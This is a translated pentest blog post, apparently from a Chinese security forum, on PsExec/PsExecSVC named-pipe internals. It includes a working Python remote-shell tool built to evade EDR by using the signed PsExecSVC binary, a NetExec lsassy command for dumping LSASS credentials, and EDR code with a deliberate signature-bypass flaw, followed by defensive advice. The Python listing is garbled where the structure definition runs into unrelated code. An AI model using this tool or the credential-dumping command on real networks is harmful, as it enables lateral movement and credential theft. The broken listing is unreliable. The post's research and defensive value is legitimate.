Psexec是怎么工作的?Psexec与官方服务端组件PsexeSvc.exe的交互
渗透测试
本文详细讲解psexec时怎么和PsexeSvc.exe交互,初始化,然后建立互相通讯的管道的,以及psexec和PsexeSvc.exe交互实现的python实现,最后讲解了psexec防御技巧。
### 译者话 这篇文章是我在研究psexec,并为我的Go语言工具()开发一个能够和psexec原生的服务端程序PsexeSvc.exe交互的功能时发现的,这篇文章详细的介绍了psexec的工作原理,发送的数据包内容,和其他psexec文章不同的是,本文章不仅仅是只研究psexec的流量,而是讲明白了工作原理,并且用的时psexec的原生服务端程序PsexeSvc.exe,而不用用的RamCom(很容易被杀,相信我),我对这篇文章很感兴趣,翻译分享给大家。我把psexec的实现单独拿了出来放到了github:[psexec\_go](https://github.com/YaYaLiou/psexec_go) > 原文链接:<https://blog.whiteflag.io/blog/psexecing-the-right-way> > > 已经获得文章作者@Defte\_大佬的授权 正文 == 2021 年,我结识了两位技艺高超的黑客 —— 迈克尔和雷诺。那是我第一次参加 Sensecon 内部技术大会,有幸和他们并肩合作。这场大会为期三天,期间我们交流知识、结识同行、畅谈技术,除此之外还有一场单日黑客松活动,大家可以协作研究自己感兴趣的课题。在那次黑客松中,准确来说是他们主导,我加入了团队,我们打算深入研究 PsExec.exe 这款工具,探索能否通过 Python 脚本与其实现通信,从而摆脱对 Windows 系统的依赖。先提前透露结果,我们成功做到了!但出于一些原因,这个项目最终被搁置在了私有代码仓库中。直到几周前,我因工作需要一款这样的工具来绕过某款特定的终端检测与响应软件,才重新拾起这个项目。看到它的运行效果远超预期,我决定将其完善,并写一篇博文详细讲解实现思路。 因此,在这篇文章中,我们会先简要了解 PsExec.exe 的工作原理,接着编写一个能充当合法 PsExec.exe 客户端的 Python 脚本,最后探讨如何防御这类工具的攻击,以及为何零信任架构是网络安全体系的核心组成部分。 I/ PsExec.exe 的工作原理 =================== 很多人都曾讲解过 PsExec.exe 的工作原理,但由于接下来我们要模拟实现它的核心功能,我觉得再重新梳理一遍会更有必要。对于不了解这款工具的人来说,PsExec.exe 是 Sysinternals 工具集中的一款二进制程序,该工具集由马克・拉希诺维奇于 1996 年开发。截至目前,PsExec.exe 的最新版本是 2023 年发布的 v2.43,可从微软官方渠道下载。 通常情况下,PsExec 的使用主要分为两种场景: - 拥有本地管理员权限时,提升至本地系统权限: ```PowerShell PsExec.exe -s -i cmd ```  - 以域用户身份,在远程主机上执行命令: ```PowerShell PsExec.exe \\dc.whiteflag.local -u WHITEFLAG\Administrateur -p Defte@WF cmd ```  问题来了,它究竟是如何实现远程命令执行的?其实 PsExec.exe 主要通过四个步骤完成这一操作: 1. 提取并上传 PsExecSVC.exe 运行 PsExec.exe 时,它首先会提取内嵌在自身程序中的服务器端组件 PsExecSVC.exe,我们查看一下binwalk的输出内容:  这款提取后的二进制程序会被上传至目标主机的 ADMIN$ 共享目录(该目录指向 C:\\Windows 文件夹),并命名为 PsExecSVC.exe。  2. 启动 PsExecSVC 服务 当 PsExecSVC.exe 成功上传至 ADMIN$ 共享目录后,PsExec.exe 会远程连接到用于管理系统服务的 SVCCTL RPC 端点,并调用四个与 Windows API 函数对应的接口,具体操作如下: - 通过OpenSCManagerW连接到服务RPC端点 - 通过 OpenServiceW 创建一个新的服务 - 通过 StartServiceW 启动这个新建的服务 - 通过 QueryServiceStatus 确认服务是否正常运行  执行完这些操作后,我们就能在目标主机上看到有新的服务处于运行状态  3. 发送初始化数据包 PsExecSVC 服务启动后,会首先创建一个名为 psexecsvc 的命名管道,这是双方通信的初始管道:  该管道创建完成后,客户端(PsExec.exe)与服务器端(PsExecSVC.exe)会立即执行一次收发交互,双方互相发送自身的版本信息,同时接收对方的版本信息:  查看这些交互数据包的内容可以发现,双方都会发送 4 字节的数据,其中包含以十六进制存储的数值,通过转换后就能得知对应的版本号(小端序存储)  转化后的结果告诉我们这个PsExec.exe和PsExecSVC.exe的版本是1.9: ```PowerShell Little endia = BE000000 Big endian = 0000000BE = 190 = version 1.9 ``` 看到这里你可能会问,为什么要使用 1.9 这个旧版本,而非最新版本?原因在于,双方完成版本交互后,客户端会向服务端发送 19032 至 19040 字节的数据(具体长度取决于 PsExec 的版本)。而从 PsExec 2.20 版本开始,这些数据以及后续所有的通信内容都会被加密,无法直接分析明文内容,这对我们的研究来说没有参考价值。下图就是通过Wireshark监控到的PsExec.exe v2.43的加密通讯的内容。  没有任何版主对吧,下面这里有一个同一阶段的,但是版本为1.9的数据包:  通过观察这个例子,我们已经能够理解为什么最新版本的PsExec会实现加密:因为客户端通过网络发送的是明文凭据(稍后我们会解释原因)。我们还可以看到,这里指定了一个程序,即cmd.exe,以及执行PsExec.exe的计算机名称(COMMANDO)。请注意,所有这些明文信息都被混合在空字节中。这是因为这些数据不仅仅是文本,而是一个结构体: ```PowerShell # PsExecSVC 要读取的数据包大小 (19032) 584a0000 # 5800的小端序十六进制(目前尚不清楚其用途) a8160000 # 字符串 (C.O.M.M.A.D.O) 43004f004d004d0041004e0044004f00 [ LOTS OF ZEROS ] # 字符串 (C.M.D) 63006d006400 [ LOTS OF ZEROS ] # 一些字节?? 00000101000000000000000000000000ffffffff0100 # 字符串 (W.H.I.T.E.F.L.A.G.\.A.d.m.i.n.i.s.t.r.a.t.e.u.r) 5700480049005400450046004c00410047005c00410064006d0069006e00690073007400720061007400650075007200 [ LOTS OF ZEROS ] # 字符串 D.e.f.t.e.@.W.F(这是密码凭证,内容是原文作者的id) 44006500660074006500400057004600 [ LAST ZEROS ] ``` 在PsExecSVC.exe接收到数据之后,立即出现了三个新的命名管道,它们都遵循以下模式: - PSEXECSVC-X-Y-stdin 用于发送我们想要远程运行的命令 ; - PSEXECSVC-X-Y-stdout 用于检索命令的输出结果 ; - PSEXECSVC-X-Y-stderr 用于检索错误 其中: - X 是一个字符串 ; - Y 是一个数值. 通过 PowerShell 列出远程目标主机上的命名管道,看看管道是怎么命名的: ```php Get-ChildItem \\.\\pipe\ ``` 结果如下:  由此我们可以得出结论: - X 值是启动 PsExec.exe 的主机名 - Y 值是 PsExec.exe 进程的 PID(进程标识符) 那之前提到的 5800 这个数值又是什么?查看启动 PsExec.exe 的主机的任务管理器,能看到如下信息:  这说明该数值(即上述命名规则中的 Y)实际上就是 PsExec.exe 的进程 PID。 至此我们可以明确,psexecsvc 命名管道的作用是接收用于创建另外三个命名管道的信息。用示意图总结 PsExec.exe 创建命名管道的流程如下:  最后需要了解的是 PsExec.exe 的参数是如何传递的:  由于我不想反编译二进制文件(这不符合使用条款),于是我心想 “嘿嘿,我可以把所有参数都测试一遍,观察 Wireshark 中的差异”。我照做了,直到发现有一个 32 字节的缓冲区,其中只包含 0 和 1,且数值会随传递给 PsExec.exe 的参数不同而变化。也就是说,修改这些 0 和 1 的取值,就能向 PsExecSVC.exe 传递特定参数。接下来,就让我们编写一个 Python 脚本来整合这些逻辑! II/ PsExecSVC.py ================ 正如本文开篇所述,模拟 PsExec.exe 最关键的部分是向 psexecsvc 命名管道发送正确的初始化结构体。只要我们明确 19032 字节的结构体中应存储的内容,就能让 PsExecSVC 创建对应的命名管道,并与之交互。话不多说,先来看这个结构体的定义: ```python class PsExecInit(Structure): structure = ( ('PacketSize', '<i> 0: try: s.waitNamedPipe(tid,pipe) pipeReady = True except: tries -= 1 time.sleep(2) pass if tries == 0: raise Exception("管道未就绪,终止操作") fid = s.openFile(tid, pipe, accessMask, creationOption=0x40, fileAttributes=0x80) return fid def launch_pipes(self, rpctransport): dce = rpctransport.get_dce_rpc() try: dce.connect() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.critical(str(e)) exit(1) global dialect dialect = rpctransport.get_smb_connection().getDialect() unInstalled = False s = rpctransport.get_smb_connection() s.setTimeout(100000) try: PSEXECSVC_buffer = BytesIO() PSEXECSVC_buffer.write(PSEXECSVC19) PSEXECSVC_buffer.seek(0) installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), PSEXECSVC_buffer, self.service_name, self.remote_binary_name) installService.install() tid = s.connectTree('IPC$') logging.debug(f"连接到\\{self.remote_binary_name.split('.')[0]}初始命名管道") fid_main = self.openPipe(s, tid, f"\\{self.remote_binary_name.split('.')[0]}", 0x12019f) logging.debug("发送PSExecSVC版本190(BE000000)") s.writeNamedPipe(tid, fid_main, bytes.fromhex("BE000000")) version = s.readNamedPipe(tid, fid_main, 4) logging.debug(f"从PSEXECSVC接收的版本信息: {version}") init=PsExecInit() init['PacketSize'] = 19032 init['PID'] = os.getpid() random_string = "".join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) init['Computer'] = random_string.encode("utf-16le").ljust(520, b"\0") init['Command'] = f"{self.command}".encode('utf-16le').ljust(520, b"\0") init['Arguments'] = f"{self.arguments}".encode('utf-16le').ljust(520, b"\0") init['OthersOptions'] = "".encode('utf-16le').ljust(16385, b"\0") init['Interactif'] = bytes.fromhex("00") init['RestrictedToken'] = bytes.fromhex("00") init['EnableAllPrivs'] = bytes.fromhex("01") init['LogonUser'] = bytes.fromhex("00") init['ElevateToSystem'] = bytes.fromhex("00") init['OthersFlags'] = bytes.fromhex("00000000000000000000ffffffff0100") init['Padding'] = bytes.fromhex("000000000000010000000000000000000000") if self.system: print(f"[+] 提升至系统权限") init['ElevateToSystem'] = bytes.fromhex("01") if self.user: print(f"[+] 远程登录用户以启用SSO") init['Username'] = f'{self.domain}\\{self.username}'.encode('utf-16le').ljust(520, b'\0') init['Password'] = f'{self.password}'.encode('utf-16le').ljust(520, b'\0') init['LogonUser'] = bytes.fromhex("01") data = init.getData() logging.debug(f"向PSEXECSVC发送初始化数据包: {random_string}-{init['PID']}(长度: {len(data)})") s.writeNamedPipe(tid, fid_main, data) global LastDataSent LastDataSent = "" inpipe = f"\\{self.remote_binary_name.split('.')[0]}-{random_string}-{init['PID']}-stdin" logging.debug(f"打开标准输入(STDIN)管道 {inpipe}") stdin_pipe = RemoteStdInPipe(rpctransport, inpipe, smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare()) stdin_pipe.start() outpipe = f"\\{self.remote_binary_name.split('.')[0]}-{random_string}-{init['PID']}-stdout" logging.debug(f"打开标准输出(STDOUT)管道 {outpipe}") stdout_pipe = RemoteStdOutPipe(rpctransport, outpipe, smb.FILE_READ_DATA) stdout_pipe.start() errpipe = f"\\{self.remote_binary_name.split('.')[0]}-{random_string}-{init['PID']}-stderr" logging.debug(f"打开标准错误(STDERR)管道 {errpipe}") stderr_pipe = RemoteStdErrPipe(rpctransport, errpipe, smb.FILE_READ_DATA) stderr_pipe.start() ans = s.readNamedPipe(tid, fid_main, 64) if len(ans): retCode = RemComResponse(ans) logging.info(f"进程 {self.command} 执行完成,错误码(ErrorCode): { retCode['ErrorCode']}, 返回码(ReturnCode): {retCode['ReturnCode']}") installService.uninstall() unInstalled = True exit(retCode["ErrorCode"]) except Exception as e: logging.debug(str(e)) if unInstalled is False: installService.uninstall() sys.stdout.flush() exit(1) class Pipes(Thread): def __init__(self, transport, pipe, permissions, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.daemon = True def connectPipe(self): try: lock.acquire() global dialect self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=SMB2_DIALECT_21) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree("IPC$") self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid, self.pipe, self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(f"错误({self.__class__}): {e}") class RemoteStdOutPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid, self.fid, 0, 1024) except: pass else: try: global LastDataSent if ans != LastDataSent: sys.stdout.write(ans.decode("cp437")) sys.stdout.flush() else: LastDataSent = "" if LastDataSent > 10: LastDataSent = "" except: pass class RemoteStdErrPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid, self.fid, 0, 1024) except: pass else: try: sys.stderr.write(ans.decode("cp437")) sys.stderr.flush() except: pass class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, share, transport): cmd.Cmd.__init__(self, False) self.prompt = "\x08" self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.transport = transport self.intro = "[!] 输入help查看额外的Shell命令" def connect_transferClient(self): self.transferClient = SMBConnection("*SMBSERVER", self.server.getRemoteHost(), sess_port=self.port, preferredDialect=SMB2_DIALECT_21) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.transferClient.login(user, passwd, domain, lm, nt) def emptyline(self): self.send_data("\r\n") return def default(self, line): self.send_data(line.encode("cp437") + b"\r\n") def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = "" for c in data: self.server.writeNamedPipe(self.tid, self.fid, bytes([c])) class RemoteStdInPipe(Pipes): def __init__(self, transport, pipe, permisssions, share=None): self.shell = None Pipes.__init__(self, transport, pipe, permisssions, share) def run(self): self.connectPipe() self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport) self.shell.cmdloop() if __name__ == "__main__": print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "PSExecSVC远程控制工具") parser.add_argument("target", action="store", help="目标格式:[[域/]用户名[:密码]@]<目标名称或地址>") parser.add_argument("-command", type=str, default="cmd.exe", help="要在远程目标执行的命令(默认:cmd.exe)") parser.add_argument("-arguments", type=str, default="", help="传递给命令的参数") parser.add_argument("-ts", action="store_true", help="为所有日志输出添加时间戳") parser.add_argument("-debug", action="store_true", help="开启DEBUG输出模式") parser.add_argument("-service-name", action="store", default = "", help="用于触发载荷的服务名称") parser.add_argument("-remote-binary-name", action="store", default="PSEXECSVC.exe", help="上传到目标主机的可执行文件名称") privs = parser.add_mutually_exclusive_group(required=True) privs.add_argument("-system", action="store_true", help="提升至SYSTEM权限") privs.add_argument("-user", action="store_true", help="以指定用户身份连接") group = parser.add_argument_group("身份验证") group.add_argument("-hashes", action="store", metavar = "LMHASH:NTHASH", help="NTLM哈希值,格式为LMHASH:NTHASH") group.add_argument("-no-pass", action="store_true", help="不询问密码(配合-k参数使用)") group.add_argument("-k", dest="do_kerberos", action="store_true", help="使用Kerberos身份验证(从KRB5CCNAME或指定凭证获取)") group.add_argument("-aes-key", action="store", metavar="十六进制密钥", help="用于Kerberos身份验证的AES密钥(128或256位)") group.add_argument("-key-tab", action="store", help="从keytab文件读取SPN密钥") group.add_argument("-dc-ip", dest="kdc_host", action="store", metavar="IP地址", help="域控制器的IP地址。若省略,将使用目标参数中指定的域部分(FQDN)") group.add_argument("-target-ip", action="store", metavar="IP地址", help="目标主机的IP地址。若省略,将使用目标参数中指定的名称。当目标为NetBIOS名称且无法解析时,此参数非常有用") if len(sys.argv) == 1: parser.print_help() exit(1) options = parser.parse_args() logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, remoteName = parse_target(options.target) if (options.user and options.hashes) or (options.user and not (domain or username or password)): logging.error("-user参数需要明文凭证和域名") exit(1) if not domain: domain = "" if options.key_tab is not None: Keytab.loadKeysFromKeytab(options.key_tab, username, domain, options) options.k = True if options.target_ip is None: options.target_ip = remoteName if password == "" and username != "" and options.hashes is None and options.no_pass is False and options.aes_key is None: from getpass import getpass password = getpass("密码:") if options.aes_key is not None: options.k = True PSEXECSVC(username, password, domain, options).run() ``` 该脚本有两种使用方式: - 获取 NT AUTHORITY\\System 权限的 Shell(使用 - system 参数): ```bash python3 psexecsvc.py WHITEFLAG/admin_achalot:"Defte@WF"@dc.whiteflag.local -system ```  - 获取指定凭证用户的远程 Shell(使用 - user 参数): ```bash python3 psexecsvc.py WHITEFLAG/admin_achalot:"Defte@WF"@dc.whiteflag.local -user ```  需要注意的是,以域用户身份认证时需要提供明文凭证 —— 这些凭证会传递给 PsExecSVC 服务,由其在远程目标上完成认证。PsExecSVC.exe 依赖 WinAPI 的 LogonUser 函数实现这一过程,该函数的原型如下: ```c++ BOOL LogonUserA( LPCSTR lpszUsername, LPCSTR lpszDomain, LPCSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken ); ``` 由于 PsExecSVC 通过本地登录方式提供用户名和密码完成认证,因此你会获得一个**主令牌**,该令牌允许你使用 Windows 单点登录(SSO),从而可以从远程 Shell 连接到其他系统。例如,若我通过 - user 参数连接到 srv.whiteflag.local 系统,就能列出 dc.whiteflag.local 系统的 C$ 共享目录:  但该功能存在一个巨大隐患:凭证会存储在 LSASS 进程的内存中,攻击者可通过[NetExec](https://github.com/Pennyw0rth/NetExec)等工具窃取这些凭证: ```bash nxc smb serveur.whiteflag.local -u Administrateur -p Defte@WF -M lsassy ```  这也是为何你总能在网上看到相关文章提到:使用 psexec.py、wmiexec.py、dcomexec.py 甚至 NXC 等工具远程认证时,凭证不会存储在 LSASS 中,但使用 PsExec.exe 时却会 —— 根源就在于这种本地登录方式。 III/ 既然已有 psexec.py,为何还要花这么多时间做这件事? =================================== 2021 年,我们的目标是找到一种从 Linux 工作站使用 PsExec.exe 的方法。诚然,psexec.py 已经能实现这一点,但 psexec.py 会在远程 Windows 系统上部署[RemCom](https://github.com/kavika13/RemCom)服务 —— 这个服务虽然好用,但.....却会被安全工具标记:  而 PsExecSVC.exe 则不会:  原因何在?很简单:这是一款由微软团队开发的合法远程管理工具。更重要的是,该二进制文件带有数字签名:  仅凭这个证书,就意味着该二进制文件不会被判定为恶意程序,也不应被拦截。因此,你常会看到 EDR(终端检测与响应)工具拦截 wmiexec.py 和 psexec.py,却不会拦截 PsExecsSVC.py—— 因为它依赖的是一款合法且受信任的工具(PsExecSVC.exe 二进制文件)。 如果你读过我之前关于[构建自定义 EDR](https://sensepost.com/blog/2024/sensecon-23-from-windows-drivers-to-an-almost-fully-working-edr/)的文章,或许尝试过我当时发布的挑战。这个挑战很简单:绕过我开发的自定义 EDR。令我意外的是,很多人提交了极具创意的解题思路,但我故意在静态分析客户端中加入了一个 “绕过检测逻辑”,却很少有人发现。 查看静态分析器的主函数,你会看到以下代码: ```C++ int main() { LPCWSTR pipeName = L"\\\\.\\pipe\\dumbedr-analyzer"; DWORD bytesRead = 0; wchar_t target_binary_file[MESSAGE_SIZE] = { 0 }; printf("启动分析器命名管道服务器\n"); // 创建命名管道 HANDLE hServerPipe = CreateNamedPipe( pipeName, // 要创建的管道名称 PIPE_ACCESS_DUPLEX, // 管道访问模式(收发双向) PIPE_TYPE_MESSAGE, // 管道模式(是否等待数据) PIPE_UNLIMITED_INSTANCES, // 最大实例数(1至PIPE_UNLIMITED_INSTANCES) MESSAGE_SIZE, // 输出缓冲区字节数 MESSAGE_SIZE, // 输入缓冲区字节数 0, // 管道超时时间 NULL // 安全属性(匿名连接或需要凭证) ); while (TRUE) { // ConnectNamedPipe使命名管道服务器开始监听传入连接 BOOL isPipeConnected = ConnectNamedPipe( hServerPipe, // 命名管道句柄 NULL // 管道是否支持重叠操作 ); wchar_t target_binary_file[MESSAGE_SIZE] = { 0 }; if (isPipeConnected) { // 从命名管道读取数据 ReadFile( hServerPipe, // 命名管道句柄 &target_binary_file, // 存储输出的目标缓冲区 MESSAGE_SIZE, // 缓冲区大小 &bytesRead, // ReadFile读取的字节数 NULL // 管道是否支持重叠操作 ); printf("~> 接收到二进制文件 %ws\n", target_binary_file); int res = 0; BOOL isSeDebugPrivilegeStringPresent = lookForSeDebugPrivilegeString(target_binary_file); if (isSeDebugPrivilegeStringPresent == TRUE) { printf("\t\033[31m检测到SeDebugPrivilege字符串。\033[0m\n"); } else { printf("\t\033[32m未检测到SeDebugPrivilege字符串。\033[0m\n"); } BOOL isDangerousFunctionsFound = ListImportedFunctions(target_binary_file); if (isDangerousFunctionsFound == TRUE) { printf("\t\033[31m检测到危险函数。\033[0m\n"); } else { printf("\t\033[32m未检测到危险函数。\033[0m\n"); } BOOL isSigned = VerifyEmbeddedSignature(target_binary_file); if (isSigned == TRUE) { printf("\t\033[32m二进制文件已签名。\033[0m\n"); } else { printf("\t\033[31m二进制文件未签名。\033[0m\n"); } // 此处存在逻辑漏洞:若二进制文件已签名,其他所有检测均忽略 wchar_t response[MESSAGE_SIZE] = { 0 }; if (isSigned == TRUE) { swprintf_s(response, MESSAGE_SIZE, L"OK\0"); printf("\t\033[32m静态分析器允许执行\033[0m\n"); } else { // 若满足以下条件,二进制文件将被拦截 if (isDangerousFunctionsFound || isSeDebugPrivilegeStringPresent) { swprintf_s(response, MESSAGE_SIZE, L"KO\0"); printf("\n\t\033[31m静态分析器拒绝执行\033[0m\n"); } else { swprintf_s(response, MESSAGE_SIZE, L"OK\0"); printf("\n\t\033[32m静态分析器允许执行\033[0m\n"); } } DWORD bytesWritten = 0; // 向命名管道写入数据 WriteFile( hServerPipe, // 命名管道句柄 response, // 待写入的缓冲区 MESSAGE_SIZE, // 缓冲区大小 &bytesWritten, // 已写入字节数 NULL // 管道是否支持重叠操作 ); } // 断开连接 DisconnectNamedPipe( hServerPipe // 命名管道句柄 ); printf("\n\n"); } return 0; } ``` 这段代码逻辑很简单:创建一个命名管道,驱动程序通过该管道发送待启动进程的相关信息。对于每个待启动的程序,静态分析器会执行以下检测: - 二进制文件中是否包含危险函数(仅检查导入地址表 IAT); - 是否存在 SeDebugPrivilege 字符串; - 二进制文件是否带有数字签名。 关键漏洞在于:若二进制文件已签名,其他所有检测条件都将失效,代码如下: ```C++ wchar_t response[MESSAGE_SIZE] = { 0 }; if (isSigned == TRUE) { swprintf_s(response, MESSAGE_SIZE, L"OK\0"); printf("\t\033[32m静态分析器允许执行\033[0m\n"); } else { // 若满足以下条件,二进制文件将被拦截 if (isDangerousFunctionsFound || isSeDebugPrivilegeStringPresent) { swprintf_s(response, MESSAGE_SIZE, L"KO\0"); printf("\n\t\033[31m静态分析器拒绝执行\033[0m\n"); } else { swprintf_s(response, MESSAGE_SIZE, L"OK\0"); printf("\n\t\033[32m静态分析器允许执行\033[0m\n"); } } ``` 更重要的是,查看签名检测函数会发现,它甚至不要求签名有效: ```C++ BOOL isSigned; switch (lStatus) { // 文件已签名且签名已验证 case ERROR_SUCCESS: isSigned = TRUE; break; // 文件已签名但签名未验证或不受信任 case TRUST_E_SUBJECT_FORM_UNKNOWN || TRUST_E_PROVIDER_UNKNOWN || TRUST_E_EXPLICIT_DISTRUST || CRYPT_E_SECURITY_SETTINGS || TRUST_E_SUBJECT_NOT_TRUSTED: isSigned = TRUE; break; // 文件未签名 case TRUST_E_NOSIGNATURE: isSigned = FALSE; break; // 理论上不会发生,但以防万一 default: isSigned = FALSE; break; } ``` 只要你的二进制文件有一个签名,无论它是否有效,它都会通过静态分析器。这就是我能够用来运行受信任的工具并危害公司的真实行为。所有这一切,都是因为信任。不过,嘿,别担心,还是有办法保护自己的! IV/ 安全防护措施 ========== 尽管我在这篇博文中将 PsExecSVC.exe 变成了一款攻击工具,但核心目的并非教大家如何防御 PsExec.exe,而是想说明**切勿基于证书、二进制文件名、目录或发布者配置全局信任白名单**。看到这里你可能会问:“那实际需要用 PsExec.exe 做远程管理的系统管理员该怎么办?” 他们真的非用不可吗?通过组策略(GPO)、远程注册表、远程任务计划,甚至 PowerShell 远程管理 / 远程桌面(RDP),难道不能完成设备管理工作吗?如果确实有使用需求,也可以仅在指定设备上为这些工具配置白名单,即**只允许特定 IP 地址使用这类工具**。毕竟,没有任何理由让 PsExec.exe 在整个企业内网中都处于白名单状态 —— 市场部的员工显然用不到这款工具,不是吗? 话虽如此,我们还是可以通过以下几种方法拦截 PsExec.exe 的恶意使用: 第一种方法:监控 EULA 协议接受记录的注册表项  监控该注册表项的创建行为,就能及时发现 PsExec 的使用痕迹。 第二种方法:检测特征化的远程 RPC 调用行为 PsExec.exe 的执行流程是固定的 - 向目标主机的 ADMIN$ 共享目录上传二进制程序; - 远程创建系统服务; - 启动该服务; - 验证服务是否正常运行。 这一系列特定的远程 RPC 调用属于明显的异常行为特征,可通过监控相关事件 ID(例如服务创建对应的 4697 事件)实现检测和拦截。 第三种方法: 禁用 ADMIN$ 共享目录。 如果 PsExec.exe 找不到 ADMIN共享目录,就无法上传服务端二进制程序。但谈到共享,不妨思考一个问题:企业内的 SMB 服务器和工作站真的有必要暴露共享目录吗?部分系统确实需要(例如文件服务器、域控制器需要暴露 SYSVOL 共享),但大多数设备完全不需要。因此,**尽可能禁用不必要的共享目录**,减少攻击面,同时对必须保留的共享目录做重点监控。 第四种方法:关联分析命名管道的创建规律 前文提到,PsExec.exe 会向 psexecsvc 命名管道发送数据,这些数据会被用于创建标准输入、标准输出和标准错误三个命名管道。在我们的测试示例中,生成的命名管道格式为: ```bash PSEXESVC-COMMANDO-5800-std* ``` 这里要补充一点:管道名称中的**PSEXESVC**并非硬编码,而是 PsExecSVC.exe 读取自身二进制文件名得到的。攻击者在使用时,往往会重命名 PsExecSVC.exe 来隐藏踪迹。例如,若将其重命名为 update.exe,生成的三个命名管道会变成以下格式: ```bash UPDATE-COMPUTERNAME-PID-std* ``` If, for any reason, you find out that a dropped binary sets up three named pipes which contain its binary name inside… Red flag!! 因此,一旦发现某一落地程序创建了三个包含自身文件名的命名管道,这就是明确的恶意行为预警信号。 第五种方法:核心原则 —— 不盲目信任任何对象 这也是我希望大家从这篇博文中记住的最重要一点:**不要信任任何东西**。无论是合法工具滥用库(Lolbins)、Linux 提权工具库(GTFObins)、存在漏洞但带签名的驱动程序,还是终端检测与响应工具(EDR)、杀毒软件…… 这些看似合法的工具和组件,若被过度信任,终有一天会被攻击者利用来攻击你自己的系统。 想要打造安全的网络环境,就必须做到不盲目信任任何主体、任何对象。正如法国诗人皮埃尔・高乃依所说:**“过度的自信,往往会招致危险。”** 对此,我深以为然。 Happy hacking!
发表于 2026-04-24 09:00:01
阅读 ( 4393 )
分类:
漏洞分析
2 推荐
收藏
0 条评论
yayaliou
1 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!